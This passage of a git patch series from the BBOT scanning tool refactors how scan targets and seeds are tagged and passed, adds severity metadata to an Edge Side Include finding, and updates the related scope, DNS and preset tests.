diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 641f319a19..10dccdf6df 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -108,7 +108,8 @@ class BaseEvent: # Always emit this event type even if it's not in scope _always_emit = False # Always emit events with these tags even if they're not in scope - _always_emit_tags = ["affiliate", "target"] + + _always_emit_tags = ["affiliate", "seed"] # Bypass scope checking and dns resolution, distribute immediately to modules # This is useful for "end-of-line" events like FINDING and VULNERABILITY _quick_emit = False @@ -1187,6 +1188,8 @@ def _host(self): class DNS_NAME(DnsEvent): + _always_emit_tags = ["affiliate", "seed"] + def sanitize_data(self, data): return validators.validate_host(data) @@ -1712,7 +1715,7 @@ def __init__(self, *args, **kwargs): class RAW_DNS_RECORD(DictHostEvent, DnsEvent): # don't emit raw DNS records for affiliates - _always_emit_tags = ["target"] + _always_emit_tags = ["seed"] class MOBILE_APP(DictEvent): diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 41141441b5..0317ef97b8 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -28,10 +28,7 @@ async def test_cli_scope(monkeypatch, capsys): [ l for l in dns_events - if l["module"] == "TARGET" - and l["scope_distance"] == 0 - and "in-scope" in l["tags"] - and "target" in l["tags"] + if l["module"] == "TARGET" and l["scope_distance"] == 0 and "in-scope" in l["tags"] and "seed" in l["tags"] ] ) ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"] @@ -67,17 +64,17 @@ async def test_cli_scope(monkeypatch, capsys): assert not any(l["scope_distance"] == 0 for l in lines) dns_events = [l for l in lines if l["type"] == "DNS_NAME" and l["data"] == "one.one.one.one"] assert dns_events + # When seeds are different from target, the seed DNS_NAME should be out-of-scope + # (distance-1) and tagged as a seed, but NOT tagged as a target (since it is not + # part of the target set that in_target() checks). assert all(l["scope_distance"] == 1 and "distance-1" in l["tags"] for l in dns_events) - assert 1 == len( - [ - l - for l in dns_events - if l["module"] == "TARGET" - and l["scope_distance"] == 1 - and "distance-1" in l["tags"] - and "target" in l["tags"] - ] - ) + target_seed_events = [ + l + for l in dns_events + if l["module"] == "TARGET" and l["scope_distance"] == 1 and "distance-1" in l["tags"] and "seed" in l["tags"] + ] + assert len(target_seed_events) == 1 + assert all("target" not in l["tags"] for l in target_seed_events) ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"] assert ip_events assert all(l["scope_distance"] == 2 and "distance-2" in l["tags"] for l in ip_events) From b3fa8114647dc63a6f9515b2b03949c5e6f4e0bc Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 21 Nov 2025 16:05:56 -0500 Subject: [PATCH 178/912] update new esi lightfuzz submodule to conform to 3.0 changes --- bbot/modules/lightfuzz/submodules/esi.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py index e5ce35cd44..47e7236591 100644 --- a/bbot/modules/lightfuzz/submodules/esi.py +++ b/bbot/modules/lightfuzz/submodules/esi.py @@ -22,6 +22,9 @@ async def check_probe(self, cookies, probe, match): self.results.append( { "type": "FINDING", + "name": "Edge Side Include Processing", + "severity": "MEDIUM", + "confidence": "HIGH", "description": f"Edge Side Include. Parameter: [{self.event.data['name']}] Parameter Type: [{self.event.data['type']}]", } ) From f33a0545955a3d81076c89f4a294b7c178fdc875 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 1 Dec 2025 11:02:56 -0500 Subject: [PATCH 179/912] bug fix --- bbot/scanner/target.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index dd62042e8b..7c7d6baad4 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -92,7 +92,12 @@ def add(self, targets, data=None): event_seeds = sorted(event_seeds, key=lambda e: ((0, 0) if not e.host else host_size_key(e.host))) for event_seed in event_seeds: self.event_seeds.add(event_seed) - self._add(event_seed.host, data=(event_seed if data is None else data)) + # Some event seeds (e.g. ORG_STUB, USERNAME) are not host-based and have + # host == None. These are still useful as seeds, but cannot be represented + # in the underlying RadixTarget tree, which expects a concrete host. + # Skip adding them at the radix level to avoid errors inside radixtarget. + if event_seed.host is not None: + self._add(event_seed.host, data=(event_seed if data is None else data)) def __iter__(self): yield from self.event_seeds From 6d6a7d70edd54710665113b60195ea1e1ed4a37d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 1 Dec 2025 14:45:48 -0500 Subject: [PATCH 180/912] fix tests --- bbot/test/test_step_1/test_dns.py | 49 +++++++++++++++++++++++-------- 1 file changed, 36 insertions(+), 13 deletions(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 9b8946ab22..7ac48ac306 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -253,8 +253,8 @@ def custom_lookup(query, rdtype): # first, we check with wildcard detection disabled scan = bbot_scanner( - "bbot.fdsa.www.test.evilcorp.com", - target_list=["evilcorp.com"], + target_list=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], + seeds=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, "speculate": True, @@ -263,19 +263,26 @@ def custom_lookup(query, rdtype): await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] - assert len(events) == 12 - assert len([e for e in events if e.type == "DNS_NAME"]) == 5 + + assert len(events) == 13 + assert len([e for e in events if e.type == "DNS_NAME"]) == 6 assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ "bbot.fdsa.www.test.evilcorp.com", "evilcorp.com", + "evilcorp.com", "fdsa.www.test.evilcorp.com", "test.evilcorp.com", "www.test.evilcorp.com", ] dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == {"domain", "private-ip", "in-scope", "a-record"} + assert dns_names_by_host["evilcorp.com"].tags == { + "domain", + "private-ip", + "in-scope", + "a-record", + } assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} assert dns_names_by_host["test.evilcorp.com"].tags == { "subdomain", @@ -294,6 +301,7 @@ def custom_lookup(query, rdtype): "subdomain", "in-scope", "txt-record", + "seed", } assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() @@ -310,8 +318,8 @@ def custom_lookup(query, rdtype): # then we run it again with wildcard detection enabled scan = bbot_scanner( - "bbot.fdsa.www.test.evilcorp.com", - target_list=["evilcorp.com"], + target_list=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], + seeds=["evilcorp.com", "bbot.fdsa.www.test.evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []}, "speculate": True, @@ -320,19 +328,26 @@ def custom_lookup(query, rdtype): await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] - assert len(events) == 12 - assert len([e for e in events if e.type == "DNS_NAME"]) == 5 + + assert len(events) == 13 + assert len([e for e in events if e.type == "DNS_NAME"]) == 6 assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ "_wildcard.test.evilcorp.com", "bbot.fdsa.www.test.evilcorp.com", "evilcorp.com", + "evilcorp.com", "test.evilcorp.com", "www.test.evilcorp.com", ] dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == {"domain", "private-ip", "in-scope", "a-record"} + assert dns_names_by_host["evilcorp.com"].tags == { + "domain", + "private-ip", + "in-scope", + "a-record", + } assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} assert dns_names_by_host["test.evilcorp.com"].tags == { "subdomain", @@ -366,6 +381,7 @@ def custom_lookup(query, rdtype): "txt-record", "txt-wildcard", "wildcard", + "seed", } assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() @@ -437,6 +453,7 @@ def custom_lookup(query, rdtype): "domain", "srv-record", "private-ip", + "seed", } assert dns_names_by_host["test.evilcorp.com"].tags == { "in-scope", @@ -539,13 +556,19 @@ def custom_lookup(query, rdtype): from bbot.scanner import Scanner # test with full scan - scan2 = Scanner("asdfl.gashdgkjsadgsdf.github.io", target_list=["github.io"], config={"dns": {"minimal": False}}) + + scan2 = Scanner( + "github.io", + seeds=["asdfl.gashdgkjsadgsdf.github.io"], + config={"dns": {"minimal": False}}, + ) await scan2._prep() other_event = scan2.make_event( "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event ) await scan2.ingress_module.queue_event(other_event, {}) events = [e async for e in scan2.async_start()] + assert len(events) == 4 assert 2 == len([e for e in events if e.type == "SCAN"]) unmodified_wildcard_events = [ @@ -581,8 +604,8 @@ def custom_lookup(query, rdtype): # test with full scan (wildcard detection disabled for domain) scan2 = Scanner( - "asdfl.gashdgkjsadgsdf.github.io", - target_list=["github.io"], + "github.io", + seeds=["asdfl.gashdgkjsadgsdf.github.io"], config={"dns": {"wildcard_ignore": ["github.io"]}}, exclude_modules=["cloudcheck"], ) From 738087320e7d2c069c6f6c71e32daa6d2c530a5f Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 1 Dec 2025 19:16:19 -0500 Subject: [PATCH 181/912] more test fixes --- .../test_manager_scope_accuracy.py | 25 +++++++++---------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 9e57a87721..8a9b8e8704 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -563,7 +563,7 @@ def custom_setup(scan): # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.111/31", + seeds=["127.0.0.111/31"], target_list=["127.0.0.111/31", "127.0.0.222", "127.0.0.33"], modules=["httpx"], output_modules=["python"], @@ -587,9 +587,9 @@ def custom_setup(scan): assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert any(e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert any(e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) @@ -615,9 +615,9 @@ def custom_setup(scan): assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert any(e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0) assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert any(e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) @@ -645,9 +645,9 @@ def custom_setup(scan): assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert any(e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0) assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert any(e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) @@ -674,9 +674,9 @@ def custom_setup(scan): assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) + assert any(e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222") assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) + assert any(e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33") assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) @@ -694,7 +694,7 @@ def custom_setup(scan): # sslcert with in-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.0/31", + target_list = ["127.0.0.0/31"], modules=["sslcert"], _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, @@ -750,7 +750,7 @@ def custom_setup(scan): # sslcert with out-of-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.0/31", + seeds=["127.0.0.0/31"], modules=["sslcert"], target_list=["127.0.1.0"], _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, @@ -806,10 +806,9 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): # dns search distance = 1, report distance = 0 scan = bbot_scanner( - "http://127.0.0.1:8888", + target_list=["http://127.0.0.1:8888", "127.0.0.0/29", "test.notreal"], modules=["httpx"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, - target_list=["127.0.0.0/29", "test.notreal"], blacklist=["127.0.0.64/29"], ) await scan.helpers.dns._mock_dns({ From 3b56f7b1e59b4fd1e7f115e6cb7e850ca485ed20 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 09:27:00 -0500 Subject: [PATCH 182/912] fixing test --- bbot/scanner/preset/preset.py | 5 +++-- bbot/test/test_step_1/test_presets.py | 3 +-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 5cbb6e669a..2e4c1beada 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -269,8 +269,8 @@ def __init__( # target / seeds / blacklist # these are temporary receptacles until they all get .baked() together - # Positional arguments ALWAYS become target (never seeds) - # Seeds must be explicitly provided via seeds parameter + # Positional arguments ALWAYS become target (never seeds). + # Seeds must be explicitly provided via the `seeds` parameter. if target_list is not None: # Explicit target_list takes precedence over positional args self._target_list = set(target_list) @@ -287,6 +287,7 @@ def __init__( else: # Seeds not explicitly provided - will be backfilled in BBOTTarget if target is set self._seeds = set() + self._blacklist = set(blacklist if blacklist else []) self._target = None diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 0f24d45adc..3c0d2cac0c 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -71,8 +71,7 @@ def test_preset_yaml(clean_default_config): import yaml preset1 = Preset( - "evilcorp.com", - "www.evilcorp.ce", + seeds=["evilcorp.com", "www.evilcorp.ce"], target_list=["evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], modules=["sslcert"], From e18dc1ad54eb836813824178d63be682bf0cdded Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 12:42:55 -0500 Subject: [PATCH 183/912] ensure target/targets tolerance in preset --- bbot/scanner/preset/preset.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 2e4c1beada..8a41aef0f1 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -678,7 +678,11 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): # - "target" key represents target_list (what in_target() checks) # - "targets" is legacy and also treated as target_list # - "seeds" key represents explicit seeds (never positional args) - target_list = preset_dict.get("target") or preset_dict.get("targets") + # + # If BOTH "target" and "targets" are present, treat this as a user typo + # and merge them into a single target_list (order-preserving, deduped). + target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or []) + target_list = list(dict.fromkeys(target_vals)) or None seeds = preset_dict.get("seeds") new_preset = cls( target_list=target_list, From 9dde65b4ec275a00fbf2157b596e9faee48c76a0 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 14:10:49 -0500 Subject: [PATCH 184/912] change test to reflect new behavior with targets/seeds --- bbot/test/test_step_1/test_python_api.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 9cd7e1c974..a8448cb58c 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -54,7 +54,13 @@ async def test_python_api(): # custom target types custom_target_scan = Scanner("ORG:evilcorp") events = [e async for e in custom_target_scan.async_start()] - assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "target" in e.tags]) + + print("@@@@") + for e in events: + print(e) + print(e.type) + print(e.tags) + assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "seed" in e.tags]) # presets scan6 = Scanner("evilcorp.com", presets=["subdomain-enum"]) From ded5466622d4fd4273ce879cdb135efc6a4db518 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 15:29:33 -0500 Subject: [PATCH 185/912] revising seed behavior / tests --- bbot/scanner/target.py | 21 +++++++------- bbot/test/test_step_1/test_python_api.py | 5 ---- bbot/test/test_step_1/test_target.py | 35 +++++++++++------------- 3 files changed, 26 insertions(+), 35 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 7c7d6baad4..1bb9e6ba96 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -221,25 +221,24 @@ class BBOTTarget: Provides high-level functions like in_scope(), which includes both target and blacklist checks. """ - def __init__(self, *seeds, target=None, blacklist=None, strict_dns_scope=False): + def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=False): self.strict_dns_scope = strict_dns_scope self._orig_target = target - self._orig_seeds = seeds if seeds else None + self._orig_seeds = list(seeds) if seeds else None - if target is None: - target = [] - self.target = ScanTarget(*target, strict_dns_scope=strict_dns_scope) + target_list = list(target) if target else [] + self.target = ScanTarget(*target_list, strict_dns_scope=strict_dns_scope) # Seeds are only copied from target if target is defined but seeds are NOT defined # Use target.inputs (original inputs) to preserve all inputs, including subdomains - if not seeds and target: - seeds = list(self.target.inputs) + seeds_list = list(seeds) if seeds else [] + if not seeds_list and target_list: + seeds_list = list(self.target.inputs) - self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_dns_scope) + self.seeds = ScanSeeds(*seeds_list, strict_dns_scope=strict_dns_scope) - if blacklist is None: - blacklist = [] - self.blacklist = ScanBlacklist(*blacklist) + blacklist_list = list(blacklist) if blacklist else [] + self.blacklist = ScanBlacklist(*blacklist_list) @property def json(self): diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index a8448cb58c..ac6f70e3d8 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -55,11 +55,6 @@ async def test_python_api(): custom_target_scan = Scanner("ORG:evilcorp") events = [e async for e in custom_target_scan.async_start()] - print("@@@@") - for e in events: - print(e) - print(e.type) - print(e.tags) assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "seed" in e.tags]) # presets diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 6f867ed532..a0ba1eea08 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -14,7 +14,7 @@ async def test_target_basic(bbot_scanner): scan5 = bbot_scanner() # test different types of inputs - target = BBOTTarget("evilcorp.com", "1.2.3.4/8") + target = BBOTTarget(target=["evilcorp.com", "1.2.3.4/8"]) assert "www.evilcorp.com" in target.seeds assert "www.evilcorp.com:80" in target.seeds assert "http://www.evilcorp.com:80" in target.seeds @@ -161,21 +161,22 @@ async def test_target_basic(bbot_scanner): assert target1.hash == target2.hash # test default target - bbottarget = BBOTTarget("http://1.2.3.4:8443", "bob@evilcorp.com") + bbottarget = BBOTTarget(target=["http://1.2.3.4:8443", "bob@evilcorp.com"]) + assert bbottarget.seeds.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} assert bbottarget.target.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} assert {e.data for e in bbottarget.seeds.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} - assert {e.data for e in bbottarget.target.event_seeds} == {"1.2.3.4/32", "evilcorp.com"} + assert {e.data for e in bbottarget.target.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} - bbottarget1 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) - bbottarget2 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) - bbottarget3 = BBOTTarget("evilcorp.com", target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) - bbottarget5 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget1 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) + bbottarget2 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget3 = BBOTTarget(seeds=["evilcorp.com"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) + bbottarget5 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) bbottarget6 = BBOTTarget( - "evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True + seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True ) - bbottarget8 = BBOTTarget("1.2.3.0/24", target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) - bbottarget9 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget8 = BBOTTarget(seeds=["1.2.3.0/24"], target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) + bbottarget9 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) # make sure it's a sha1 hash assert isinstance(bbottarget1.hash, bytes) @@ -212,15 +213,15 @@ async def test_target_basic(bbot_scanner): assert bbottarget9 != bbottarget8 # make sure duplicate events don't change hash - target1 = BBOTTarget("https://evilcorp.com") - target2 = BBOTTarget("https://evilcorp.com") + target1 = BBOTTarget(target=["https://evilcorp.com"]) + target2 = BBOTTarget(target=["https://evilcorp.com"]) assert target1 == target2 target1.seeds.add("https://evilcorp.com:443") assert target1 == target2 # make sure hosts are collapsed in target and blacklist bbottarget = BBOTTarget( - "http://evilcorp.com:8080", + seeds=["http://evilcorp.com:8080"], target=["evilcorp.net:443", "http://evilcorp.net:8080"], blacklist=["http://evilcorp.org:8080", "evilcorp.org:443"], ) @@ -258,9 +259,7 @@ async def test_target_basic(bbot_scanner): # verify hash values bbottarget = BBOTTarget( - "1.2.3.0/24", - "http://www.evilcorp.net", - "bob@fdsa.evilcorp.net", + seeds=["1.2.3.0/24", "http://www.evilcorp.net", "bob@fdsa.evilcorp.net"], target=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4", "4.3.2.1/24", "http://1.2.3.4", "bob@asdf.evilcorp.net"], ) @@ -290,9 +289,7 @@ async def test_target_basic(bbot_scanner): assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\' scan = bbot_scanner( - "http://www.evilcorp.net", - "1.2.3.0/24", - "bob@fdsa.evilcorp.net", + seeds=["http://www.evilcorp.net", "1.2.3.0/24", "bob@fdsa.evilcorp.net"], target_list=["evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com"], blacklist=["bob@asdf.evilcorp.net", "1.2.3.4", "4.3.2.1/24", "http://1.2.3.4"], ) From 963856fe242f4b90829ba10b918904f4f48898d4 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 16:24:22 -0500 Subject: [PATCH 186/912] seeds to become kwarg --- bbot/scanner/preset/preset.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 8a41aef0f1..6110860346 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -502,7 +502,7 @@ def bake(self, scan=None): from bbot.scanner.target import BBOTTarget baked_preset._target = BBOTTarget( - *list(self._seeds), + seeds=list(self._seeds), target=list(self._target_list) if self._target_list else None, blacklist=self._blacklist, strict_dns_scope=self.strict_scope, From 22678f4757a2dad93ebb09707116c0711bf0a894 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 2 Dec 2025 17:40:53 -0500 Subject: [PATCH 187/912] fix blacklists in new target/seed system --- bbot/scanner/target.py | 26 ++++++++++++++++++++------ 1 file changed, 20 